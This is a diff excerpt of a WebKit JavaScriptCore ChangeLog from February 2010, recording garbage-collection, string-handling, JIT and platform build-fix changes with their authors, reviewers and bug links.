+        is a condition of entering the loop, we can just use '=' instead of '|='.
+
+2010-02-12  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Additional refptr/passrefptr workarounds for WINSCW compiler
+        https://bugs.webkit.org/show_bug.cgi?id=28054
+
+        * wtf/PassRefPtr.h:
+        (WTF::refIfNotNull):
+        (WTF::PassRefPtr::PassRefPtr):
+        (WTF::PassRefPtr::~PassRefPtr):
+        (WTF::PassRefPtr::clear):
+        (WTF::::operator):
+        * wtf/RefPtr.h:
+        (WTF::RefPtr::RefPtr):
+        (WTF::::operator):
+
+2010-02-12  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Don't import the cmath functions from std:: for WINSCW.
+
+        * wtf/MathExtras.h:
+
+2010-02-12  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Adam Barth.
+
+        Typedef both JSChar and UChar to wchar_t in RVCT.
+        https://bugs.webkit.org/show_bug.cgi?id=34560
+
+        Define both JSChar and UChar to wchar_t as the size
+        of wchar_t is 2 bytes in RVCT.
+
+        * API/JSStringRef.h:
+        * wtf/unicode/qt4/UnicodeQt4.h:
+
+2010-02-11  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt and Darin Adler.
+
+        The rest of the fix for
+        https://bugs.webkit.org/show_bug.cgi?id=34864 | <rdar://problem/7594198>
+        Many objects left uncollected after visiting mail.google.com and closing
+        window
+        
+        Don't unconditionally hang onto small strings. Instead, hang onto all
+        small strings as long as any small string is still referenced.
+        
+        SunSpider reports no change.
+
+        * runtime/Collector.cpp:
+        (JSC::Heap::markRoots): Mark the small strings cache last, so it can
+        check if anything else has kept any strings alive.
+
+        * runtime/SmallStrings.cpp:
+        (JSC::isMarked):
+        (JSC::SmallStrings::markChildren): Only keep our strings alive if some
+        other reference to at least one of them exists, too.
+
+2010-02-11  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Some progress toward fixing
+        https://bugs.webkit.org/show_bug.cgi?id=34864 | <rdar://problem/7594198>
+        Many objects left uncollected after visiting mail.google.com and closing
+        window
+        
+        SunSpider reports no change.
+        
+        Keep weak references, rather than protected references, to cached for-in
+        property name enumerators.
+        
+        One problem with protected references is that a chain like 
+            [ gc object 1 ] => [ non-gc object ] => [ gc object 2 ]
+        takes two GC passes to break, since the first pass collects [ gc object 1 ],
+        releasing [ non-gc object ] and unprotecting [ gc object 2 ], and only
+        then can a second pass collect [ gc object 2 ].
+        
+        Another problem with protected references is that they can keep a bunch
+        of strings alive long after they're useful. In SunSpider and a few popular
+        websites, the size-speed tradeoff seems to favor weak references.
+
+        * runtime/JSPropertyNameIterator.cpp:
+        (JSC::JSPropertyNameIterator::JSPropertyNameIterator): Moved this constructor
+        into the .cpp file, since it's not used elsewhere.
+
+        (JSC::JSPropertyNameIterator::~JSPropertyNameIterator): Added a destructor
+        to support our weak reference.
+
+        * runtime/JSPropertyNameIterator.h:
+        (JSC::Structure::setEnumerationCache):
+        (JSC::Structure::clearEnumerationCache):
+        (JSC::Structure::enumerationCache): Added a function for clearing a
+        Structure's enumeration cache, used by our new destructor. Also fixed
+        indentation to match the rest of the file.
+
+        * runtime/Structure.h: Changed from protected pointer to weak pointer.
+
+2010-02-11  Chris Rogers  <crogers@google.com>
+
+        Reviewed by David Levin.
+
+        audio engine: add Complex number class
+        https://bugs.webkit.org/show_bug.cgi?id=34538
+
+        * wtf/Complex.h: Added.
+        (WebCore::complexFromMagnitudePhase):
+
+2010-02-10  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Added an SPI for asking about all the different live objects on the heap.
+        Useful for memory debugging.
+
+        * JavaScriptCore.exp: Export the new SPI.
+
+        * runtime/Collector.cpp:
+        (JSC::typeName): Use a little capitalization. Don't crash in the case of
+        a non-object cell, since it might just be an uninitialized cell.
+
+        (JSC::Heap::objectTypeCounts): The new SPI.
+
+        * runtime/Collector.h:
+        * runtime/CollectorHeapIterator.h:
+        (JSC::CollectorHeapIterator::advance):
+        (JSC::LiveObjectIterator::operator++):
+        (JSC::DeadObjectIterator::operator++):
+        (JSC::ObjectIterator::operator++): Made 2 tweaks to these iterators:
+        (1) Skip the last cell in the block, since it's a dummy sentinel, and
+        we don't want it to confuse the object count; (2) Fixed a logic error
+        in LiveObjectIterator that could cause it to iterate dead objects if
+        m_block were equal to m_heap.nextBlock and m_cell were less than
+        m_heap.nextCell. No test for this since I can't think of a way that this
+        could make WebKit behave badly.
+
+2010-02-11  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Guard cmath using declarations in MathExtras.h on Android
+        https://bugs.webkit.org/show_bug.cgi?id=34840
+
+        Android does not provide these functions.
+
+        * wtf/MathExtras.h:
+
+2010-02-08  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Cameron Zwarich.
+
+        Restore ENABLE_RUBY flag so vendors can ship with Ruby disabled if they choose.
+        https://bugs.webkit.org/show_bug.cgi?id=34698
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2010-02-10  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] Add Windows complex text support and Mac support for containsCharacters.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=34759
+
+        * wscript:
+
+2010-02-10  Alexey Proskuryakov  <ap@apple.com>
+
+        Addressing issues found by style bot.
+
+        * wtf/ValueCheck.h: Renamed header guard to match final file name.
+
+        * wtf/Vector.h: (WTF::::checkConsistency): Remove braces around a one-line clause.
+
+2010-02-09  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34490
+        WebCore::ImageEventSender::dispatchPendingEvents() crashes in certain conditions
+
+        * GNUmakefile.am:
+        * JavaScriptCore.gypi:
+        * JavaScriptCore.vcproj/WTF/WTF.vcproj:
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        Added ValueCheck.h.
+
+        * wtf/ValueCheck.h: Added. Moved code out of HashTraits, since it would be awkward to
+        include that from Vector.h.
+        (WTF::ValueCheck::checkConsistency): Allow null pointers, those are pretty consistent.
+
+        * wtf/HashTraits.h: Moved value checking code out of here.
+
+        * wtf/HashTable.h: (WTF::::checkTableConsistencyExceptSize): Updated for the above changes.
+
+        * wtf/Vector.h:
+        (WTF::::checkConsistency): Check all vector elements.
+        (WTF::ValueCheck): Support checking a Vector as an element in other containers. Currently
+        unused.
+
+2010-02-10  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix QScriptValue::toBool.
+
+        Fix ECMA compliance in the QScriptValue for values like 0, NaN and
+        empty strings.
+
+        [Qt] QScriptValue::toBool problem
+        https://bugs.webkit.org/show_bug.cgi?id=34793
+
+        * qt/api/qscriptvalue_p.h:
+        (QScriptValuePrivate::toBool):
+        * qt/tests/qscriptvalue/tst_qscriptvalue.h:
+        * qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp:
+        (tst_QScriptValue::toBool_initData):
+        (tst_QScriptValue::toBool_makeData):
+        (tst_QScriptValue::toBool_test):
+        (tst_QScriptValue::toBoolean_initData):
+        (tst_QScriptValue::toBoolean_makeData):
+        (tst_QScriptValue::toBoolean_test):
+
+2009-10-06  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Use derefIfNotNull() to work around WINSCW compiler forward declaration bug
+
+        The compiler bug is reported at
+        https://xdabug001.ext.nokia.com/bugzilla/show_bug.cgi?id=9812.
+
+        The change should be reverted when the above bug is fixed in WINSCW compiler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28054
+
+2009-10-06  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Get rid of WINSCW hack for UnSpecifiedBoolType
+
+        Add parenthesis around (RefPtr::*UnspecifiedBoolType) to make the WINSCW
+        compiler work with the default UnSpecifiedBoolType() operator.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28054
+
+        * wtf/RefPtr.h:
+
+2010-02-09  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        New functions nullValue() and undefinedValue().
+
+        [Qt] QScriptEngine should contain nullValue and undefinedValue methods
+        https://bugs.webkit.org/show_bug.cgi?id=34749
+
+        * qt/api/qscriptengine.cpp:
+        (QScriptEngine::nullValue):
+        (QScriptEngine::undefinedValue):
+        * qt/api/qscriptengine.h:
+        * qt/tests/qscriptengine/tst_qscriptengine.cpp:
+        (tst_QScriptEngine::nullValue):
+        (tst_QScriptEngine::undefinedValue):
+
+2010-02-09  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fixes for QScriptValue::toNumber().
+
+        Fix ECMA compliance in QScriptValue for values unbound
+        to a QScriptEngine.
+
+        [Qt] QScriptValue::toNumber() is broken
+        https://bugs.webkit.org/show_bug.cgi?id=34592
+
+        * qt/api/qscriptvalue_p.h:
+        (QScriptValuePrivate::toNumber):
+        * qt/tests/qscriptvalue/tst_qscriptvalue.h:
+        * qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp:
+        (tst_QScriptValue::toNumber_initData):
+        (tst_QScriptValue::toNumber_makeData):
+        (tst_QScriptValue::toNumber_test):
+
+2010-02-09  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix QScriptValue::isNumber().
+
+        The isNumber() should return 'true' if the value is in the CNumber
+        state.
+
+        [Qt] QScriptValue::isNumber() returns an incorrect value
+        https://bugs.webkit.org/show_bug.cgi?id=34575
+
+        * qt/api/qscriptvalue_p.h:
+        (QScriptValuePrivate::isNumber):
+        * qt/tests/qscriptvalue/tst_qscriptvalue.h:
+        * qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp:
+        (tst_QScriptValue::isNumber_initData):
+        (tst_QScriptValue::isNumber_makeData):
+        (tst_QScriptValue::isNumber_test):
+
+2010-02-09  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Small refactoring to the small strings cache to allow it to be cleared
+        dynamically.
+
+        * runtime/SmallStrings.cpp:
+        (JSC::SmallStrings::SmallStrings):
+        (JSC::SmallStrings::clear):
+        * runtime/SmallStrings.h: Moved initialization code into a shared function,
+        and changed the constructor to call it.
+
+2010-02-09  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber Stamped by Geoff Garen.
+
+        Rename StringBuilder::release && JSStringBuilder::releaseJSString
+        to 'build()'.
+
+        * runtime/ArrayPrototype.cpp:
+        (JSC::arrayProtoFuncToLocaleString):
+        (JSC::arrayProtoFuncJoin):
+        * runtime/Executable.cpp:
+        (JSC::FunctionExecutable::paramString):
+        * runtime/FunctionConstructor.cpp:
+        (JSC::constructFunction):
+        * runtime/JSGlobalObjectFunctions.cpp:
+        (JSC::encode):
+        (JSC::decode):
+        (JSC::globalFuncEscape):
+        (JSC::globalFuncUnescape):
+        * runtime/JSONObject.cpp:
+        (JSC::Stringifier::stringify):
+        * runtime/JSStringBuilder.h:
+        (JSC::JSStringBuilder::build):
+        * runtime/LiteralParser.cpp:
+        (JSC::LiteralParser::Lexer::lexString):
+        * runtime/NumberPrototype.cpp:
+        (JSC::integerPartNoExp):
+        (JSC::numberProtoFuncToFixed):
+        * runtime/StringBuilder.h:
+        (JSC::StringBuilder::build):
+
+2010-02-09  John Sullivan  <sullivan@apple.com>
+
+        https://bugs.webkit.org/show_bug.cgi?id=34772
+        Overzealous new assertion in URStringImpl::adopt()
+
+        Reviewed by Adam Barth.
+
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::adopt):
+        Only assert that vector.data() is non-zero if vector.size() is non-zero.
+
+2010-02-09  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Try to fix build problem on SnowLeopard slaves to bring them back.
+
+        * API/JSClassRef.cpp:
+        (tryCreateStringFromUTF8): Mark method as 'static inline' to suppress "warning: no previous prototype for ..."
+
+2010-02-09  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Three small string fixes:
+        (1) StringBuilder::release should CRASH if the buffer allocation failed.
+        (2) Remove weird, dead code from JSString::tryGetValue, replace with an ASSERT.
+        (3) Move UString::createFromUTF8 out to the API, as tryCreateStringFromUTF8.
+            This is only used from the API, and (now) unlike other UString::create
+            methods may return UString::null() to indicate failure cases.  Better
+            handle these in the API.
+
+        * API/JSClassRef.cpp:
+        (tryCreateStringFromUTF8):
+        (OpaqueJSClass::OpaqueJSClass):
+        (OpaqueJSClassContextData::OpaqueJSClassContextData):
+        * runtime/JSString.h:
+        (JSC::Fiber::tryGetValue):
+        * runtime/StringBuilder.h:
+        (JSC::StringBuilder::release):
+        * runtime/UString.cpp:
+        (JSC::UString::UString):
+        (JSC::UString::from):
+        (JSC::UString::find):
+        * runtime/UString.h:
+
 2010-02-09  Janne Koskinen  <janne.p.koskinen@digia.com>
 
         Reviewed by Laszlo Gombos.
@@ -11,36 +3397,3696 @@
         * runtime/JSValue.cpp:
         (JSC::nonInlineNaN):
 
-2010-01-07  Norbert Leser  <norbert.leser@nokia.com>
+2010-02-09  Tamas Szirbucz  <szirbucz@inf.u-szeged.hu>
+
+        Reviewed by Gavin Barraclough.
+
+        Add a soft modulo operation to ARM JIT using a trampoline function.
+        The performance progression is about ~1.8% on ARMv7
+        https://bugs.webkit.org/show_bug.cgi?id=34424
+
+        Developed in cooperation with Gabor Loki.
+
+        * jit/JIT.h:
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emit_op_mod):
+        (JSC::JIT::emitSlow_op_mod):
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::softModulo):
+        * jit/JITStubs.h:
+        (JSC::JITThunks::ctiSoftModulo):
+        * wtf/Platform.h:
+
+2010-02-08  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (SL/win build fixes).
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        * runtime/StringPrototype.cpp:
+
+2010-02-08  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt
+
+        Make String.replace throw an exception on out-of-memory, rather than
+        returning a null (err, empty-ish) string.  Move String::replaceRange
+        and String::spliceSubstringsWithSeparators out to StringPrototype -
+        these were fairly specific use anyway, and we can better integrate
+        throwing the JS expcetion this way.
+
+        Also removes redundant assignment operator from UString.
+
+        * JavaScriptCore.exp:
+        * runtime/StringPrototype.cpp:
+        (JSC::StringRange::StringRange):
+        (JSC::jsSpliceSubstringsWithSeparators):
+        (JSC::jsReplaceRange):
+        (JSC::stringProtoFuncReplace):
+        * runtime/UString.cpp:
+        * runtime/UString.h:
+
+2010-02-08  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Undefine WTF_OS_WINDOWS and WTF_PLATFORM_WIN
+        https://bugs.webkit.org/show_bug.cgi?id=34561
+
+        As the binary for simulator is built with MSVC 2005,
+        WTF_OS_WINDOWS and WTF_PLATFORM_WIN are defined.
+        Undefine them as we don't target Windows.
+
+        * wtf/Platform.h:
+
+2010-02-08  Chris Rogers  <crogers@google.com>
+
+        Reviewed by Darin Adler.
+
+        audio engine: add Vector3 class
+        https://bugs.webkit.org/show_bug.cgi?id=34548
+
+        * wtf/Vector3.h: Added.
+        (WebCore::Vector3::Vector3):
+        (WebCore::Vector3::abs):
+        (WebCore::Vector3::isZero):
+        (WebCore::Vector3::normalize):
+        (WebCore::Vector3::x):
+        (WebCore::Vector3::y):
+        (WebCore::Vector3::z):
+        (WebCore::operator+):
+        (WebCore::operator-):
+        (WebCore::operator*):
+        (WebCore::dot):
+        (WebCore::cross):
+        (WebCore::distance):
+
+2010-02-08  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Fix warning in clang++
+
+        * runtime/Structure.h:
+        (JSC::Structure::propertyStorageSize):
+
+2010-02-08  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Make makeString CRASH if we fail to allocate a string.
+
+        (tryMakeString or jsMakeNontrivialString can be used where we
+        expect allocation may fail and want to handle the error).
+
+        * runtime/JSStringBuilder.h:
+        (JSC::jsMakeNontrivialString):
+        * runtime/UString.h:
+        (JSC::tryMakeString):
+        (JSC::makeString):
+
+2010-02-08  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber Stamped by Oliver Hunt.
+
+        Remove a couple of unnecesary C-style casts spotted by Darin.
+
+        * runtime/JSGlobalObjectFunctions.cpp:
+        (JSC::encode):
+        (JSC::globalFuncEscape):
+
+2010-02-08  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Switch some more StringBuilder/jsNontrivialString code to use
+        JSStringBuilder/jsMakeNontrivialString - these methods will
+        throw an exception if we hit out-of-memory, rather than just
+        CRASHing.
+
+        * runtime/FunctionPrototype.cpp:
+        (JSC::functionProtoFuncToString):
+        * runtime/JSGlobalObjectFunctions.cpp:
+        (JSC::encode):
+        (JSC::decode):
+        (JSC::globalFuncEscape):
+
+2010-02-08  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Use an empty identifier instead of a null identifier for parse
+        tokens without an identifier.
+
+        This helps encapsulate the null UStringImpl within UString.
+
+        * parser/Grammar.y:
+        * parser/NodeConstructors.h:
+        (JSC::ContinueNode::ContinueNode):
+        (JSC::BreakNode::BreakNode):
+        (JSC::ForInNode::ForInNode):
+        * runtime/CommonIdentifiers.cpp:
+        (JSC::CommonIdentifiers::CommonIdentifiers):
+        * runtime/CommonIdentifiers.h:
+        * runtime/FunctionPrototype.cpp:
+        (JSC::FunctionPrototype::FunctionPrototype):
+
+2010-02-08  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Build fix for make distcheck.
+
+        * GNUmakefile.am:
+
+2010-02-08  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Unreviewed RVCT build fix.
+
+        Similar to r54391, don't import the cmath functions from std:: for RVCT.
+
+        * wtf/MathExtras.h:
+
+2010-02-05  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Change UStringImpl::create to CRASH if the string cannot be allocated,
+        rather than returning a null string (which will behave like a zero-length
+        string if used).
+
+        Also move createRep function from UString to become new overloaded
+        UStringImpl::create methods.  In doing so, bring their behaviour closer to
+        being in line with WebCore::StringImpl, in removing the behaviour that they
+        can be used to produce null UStrings (ASSERT the char* provided is non-null).
+        This behaviour of converting null C-strings to null UStrings is inefficient
+        (cmompared to just using UString::null()), incompatible with WebCore::StringImpl's
+        behaviour, and may generate unexpected behaviour, since in many cases a null
+        UString can be used like an empty string.
+
+        With these changes UStringImpl need not have a concept of null impls, we can
+        start transitioning this to become an implementation detail of UString, that
+        internally it chooses to use a null-object rather than an actually zero impl
+        pointer.
+
+        * JavaScriptCore.exp:
+        * debugger/Debugger.cpp:
+        (JSC::Debugger::recompileAllJSFunctions):
+        * debugger/DebuggerCallFrame.cpp:
+        (JSC::DebuggerCallFrame::calculatedFunctionName):
+        * parser/Parser.cpp:
+        (JSC::Parser::parse):
+        * profiler/Profile.cpp:
+        (JSC::Profile::Profile):
+        * profiler/ProfileGenerator.cpp:
+        (JSC::ProfileGenerator::stopProfiling):
+        * runtime/Error.cpp:
+        (JSC::Error::create):
+        (JSC::throwError):
+        * runtime/ExceptionHelpers.cpp:
+        (JSC::createError):
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::add):
+        * runtime/PropertyNameArray.cpp:
+        (JSC::PropertyNameArray::add):
+        * runtime/UString.cpp:
+        (JSC::initializeUString):
+        (JSC::UString::UString):
+        (JSC::UString::operator=):
+        * runtime/UString.h:
+        (JSC::UString::isNull):
+        (JSC::UString::null):
+        (JSC::UString::rep):
+        (JSC::UString::UString):
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::create):
+        * runtime/UStringImpl.h:
+
+2010-02-05  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Define SYSTEM_MALLOC 1
+        https://bugs.webkit.org/show_bug.cgi?id=34640
+
+        Make BREWMP use system malloc because FastMalloc is not ported.
+
+        * wtf/Platform.h:
+
+2010-02-05  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Don't call CRASH() in fastMalloc and fastCalloc when the requested memory size is 0
+        https://bugs.webkit.org/show_bug.cgi?id=34569
+
+        With USE_SYSTEM_MALLOC=1, fastMalloc and fastCalloc call CRASH()
+        if the return value of malloc and calloc is 0.
+        
+        However, these functions can return 0 when the request size is 0.
+        Libc manual says, "If size is 0, then malloc() returns either NULL,
+        or a unique pointer value that can later be successfully passed to free()."
+        Though malloc returns a unique pointer in most systems,
+        0 can be returned in some systems. For instance, BREW's MALLOC returns 0
+        when size is 0.
+
+        If malloc or calloc returns 0 due to allocation size, increase the size
+        to 1 and try again.
+
+        * wtf/FastMalloc.cpp:
+        (WTF::fastMalloc):
+        (WTF::fastCalloc):
+
+2010-02-04  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Build fix.  Remove a symbol corresponding to an inline function from the linker export
+        file to prevent a weak external failure.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj: Accommodate rename of script.
+
+2010-02-04  Daniel Bates  <dbates@webkit.org>
+
+        [Qt] Unreviewed, build fix for Qt bot.
+
+        * runtime/JSStringBuilder.h: Changed #include <X.h> notation #include "X.h".
+
+2010-02-04  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Clearing a WeakGCPtr is weird
+        https://bugs.webkit.org/show_bug.cgi?id=34627
+
+        Added a WeakGCPtr::clear interface.
+        
+        As discussed in https://bugs.webkit.org/show_bug.cgi?id=33383, the old
+        interface made it pretty weird for a client to conditionally clear a
+        WeakGCPtr, which is exactly what clients want to do when objects are
+        finalized.
+
+        * API/JSClassRef.cpp:
+        (clearReferenceToPrototype): Use the new WeakGCPtr::clear() interface. 
+
+        * runtime/WeakGCPtr.h:
+        (JSC::WeakGCPtr::clear): Added an interface for clearing a WeakGCPtr,
+        iff its current value is the value passed in. It's cumbersome for the
+        client to do this test, since WeakGCPtr sometimes pretends to be null.
+
+2010-02-04  Geoffrey Garen  <ggaren@apple.com>
+
+        Build fix: export a header.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+
+2010-02-04  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Add a JSStringBuilder class (similar-to, and derived-from StringBuilder) to
+        construct JSStrings, throwing a JS exception should we run out of memory whilst
+        allocating storage for the string.
+
+        Similarly, add jsMakeNontrivialString methods to use in cases where previously
+        we were calling makeString & passing the result to jsNontrivialString.  Again,
+        these new methods throw if we hit an out of memory condition.
+
+        Move throwOutOfMemoryError into ExceptionHelpers, to make it more widely available.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * runtime/ArrayPrototype.cpp:
+        (JSC::arrayProtoFuncToString):
+        (JSC::arrayProtoFuncToLocaleString):
+        (JSC::arrayProtoFuncJoin):
+        * runtime/DateConstructor.cpp:
+        (JSC::callDate):
+        * runtime/DatePrototype.cpp:
+        (JSC::dateProtoFuncToString):
+        (JSC::dateProtoFuncToUTCString):
+        (JSC::dateProtoFuncToGMTString):
+        * runtime/ErrorPrototype.cpp:
+        (JSC::errorProtoFuncToString):
+        * runtime/ExceptionHelpers.cpp:
+        (JSC::throwOutOfMemoryError):
+        * runtime/ExceptionHelpers.h:
+        * runtime/JSStringBuilder.h: Added.
+        (JSC::JSStringBuilder::releaseJSString):
+        (JSC::jsMakeNontrivialString):
+        * runtime/NumberPrototype.cpp:
+        (JSC::numberProtoFuncToPrecision):
+        * runtime/ObjectPrototype.cpp:
+        (JSC::objectProtoFuncToString):
+        * runtime/Operations.cpp:
+        * runtime/Operations.h:
+        * runtime/RegExpPrototype.cpp:
+        (JSC::regExpProtoFuncToString):
+        * runtime/StringBuilder.h:
+        (JSC::StringBuilder::append):
+        * runtime/StringPrototype.cpp:
+        (JSC::stringProtoFuncBig):
+        (JSC::stringProtoFuncSmall):
+        (JSC::stringProtoFuncBlink):
+        (JSC::stringProtoFuncBold):
+        (JSC::stringProtoFuncFixed):
+        (JSC::stringProtoFuncItalics):
+        (JSC::stringProtoFuncStrike):
+        (JSC::stringProtoFuncSub):
+        (JSC::stringProtoFuncSup):
+        (JSC::stringProtoFuncFontcolor):
+        (JSC::stringProtoFuncFontsize):
+        (JSC::stringProtoFuncAnchor):
+
+2010-02-04  Steve Falkenburg  <sfalken@apple.com>
+
+        Windows build fix.
+
+        * wtf/MathExtras.h:
+
+2010-02-04  Darin Adler  <darin@apple.com>
+
+        Reviewed by David Levin.
+
+        Make MathExtras.h compatible with <cmath>
+        https://bugs.webkit.org/show_bug.cgi?id=34618
+
+        * wtf/MathExtras.h: Include <cmath> instead of <math.h>.
+        Use "using" as we do elsewhere in WTF for the four functions from <cmath>
+        we want to use without the prefix. Later we could consider making the std
+        explicit at call sites instead.
+
+2010-02-04  Tamas Szirbucz  <szirbucz@inf.u-szeged.hu>
+
+        Reviewed by Gavin Barraclough.
+
+        Use an easily appendable structure for trampolines instead of pointer parameters.
+        https://bugs.webkit.org/show_bug.cgi?id=34424
+
+        * assembler/ARMAssembler.cpp:
+        (JSC::ARMAssembler::executableCopy):
+        * jit/JIT.h:
+        (JSC::JIT::compileCTIMachineTrampolines):
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::privateCompileCTIMachineTrampolines):
+        * jit/JITStubs.cpp:
+        (JSC::JITThunks::JITThunks):
+        * jit/JITStubs.h:
+        (JSC::JITThunks::ctiStringLengthTrampoline):
+        (JSC::JITThunks::ctiVirtualCallLink):
+        (JSC::JITThunks::ctiVirtualCall):
+        (JSC::JITThunks::ctiNativeCallThunk):
+
+2010-02-04  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Increase test coverage for the QScriptValue.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34533
+
+        * qt/tests/qscriptvalue/qscriptvalue.pro:
+        * qt/tests/qscriptvalue/tst_qscriptvalue.cpp:
+        (tst_QScriptValue::tst_QScriptValue):
+        (tst_QScriptValue::~tst_QScriptValue):
+        (tst_QScriptValue::dataHelper):
+        (tst_QScriptValue::newRow):
+        (tst_QScriptValue::testHelper):
+        (tst_QScriptValue::ctor):
+        * qt/tests/qscriptvalue/tst_qscriptvalue.h: Added.
+        * qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp: Added.
+        (tst_QScriptValue::initScriptValues):
+        (tst_QScriptValue::isValid_initData):
+        (tst_QScriptValue::isValid_makeData):
+        (tst_QScriptValue::isValid_test):
+        (tst_QScriptValue::isBool_initData):
+        (tst_QScriptValue::isBool_makeData):
+        (tst_QScriptValue::isBool_test):
+        (tst_QScriptValue::isBoolean_initData):
+        (tst_QScriptValue::isBoolean_makeData):
+        (tst_QScriptValue::isBoolean_test):
+        (tst_QScriptValue::isFunction_initData):
+        (tst_QScriptValue::isFunction_makeData):
+        (tst_QScriptValue::isFunction_test):
+        (tst_QScriptValue::isNull_initData):
+        (tst_QScriptValue::isNull_makeData):
+        (tst_QScriptValue::isNull_test):
+        (tst_QScriptValue::isString_initData):
+        (tst_QScriptValue::isString_makeData):
+        (tst_QScriptValue::isString_test):
+        (tst_QScriptValue::isUndefined_initData):
+        (tst_QScriptValue::isUndefined_makeData):
+        (tst_QScriptValue::isUndefined_test):
+        (tst_QScriptValue::isObject_initData):
+        (tst_QScriptValue::isObject_makeData):
+        (tst_QScriptValue::isObject_test):
+
+2010-02-03  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Define WTF_PLATFORM_BREWMP_SIMULATOR when AEE_SIMULATOR is defined
+        https://bugs.webkit.org/show_bug.cgi?id=34514
+
+        PLATFORM(BREWMP_SIMULATOR) guard is needed to make distinction between BREWMP
+        and BREWMP simulator.
+
+        * wtf/Platform.h:
+
+2010-02-03  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Remove COMPILE_ASSERT conflict with the underlying PLATFORM
+        https://bugs.webkit.org/show_bug.cgi?id=34190
+
+        COMPILE_ASSERT conflicts with the underlying PLATFORM because it is defined
+        both in WTF's Assertions.h and BREWMP's AEEClassIDs.h. Include AEEClassIDs.h
+        in Assertions.h and undef COMPILE_ASSERT to avoid redefining COMPILE_ASSERT.
+
+        * wtf/Assertions.h:
+
+2010-02-03  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Implement OwnPtrBrew to make sure BREW instances are freed.
+        https://bugs.webkit.org/show_bug.cgi?id=34518
+
+        Add OwnPtrBrew to release IFile, IFileMgr and IBitmap instances.
+
+        * wtf/brew/OwnPtrBrew.cpp: Added.
+        (WTF::IFileMgr):
+        (WTF::IFile):
+        (WTF::IBitmap):
+        (WTF::freeOwnedPtrBrew):
+        * wtf/brew/OwnPtrBrew.h: Added.
+        (WTF::OwnPtrBrew::OwnPtrBrew):
+        (WTF::OwnPtrBrew::~OwnPtrBrew):
+        (WTF::OwnPtrBrew::get):
+        (WTF::OwnPtrBrew::release):
+        (WTF::OwnPtrBrew::outPtr):
+        (WTF::OwnPtrBrew::set):
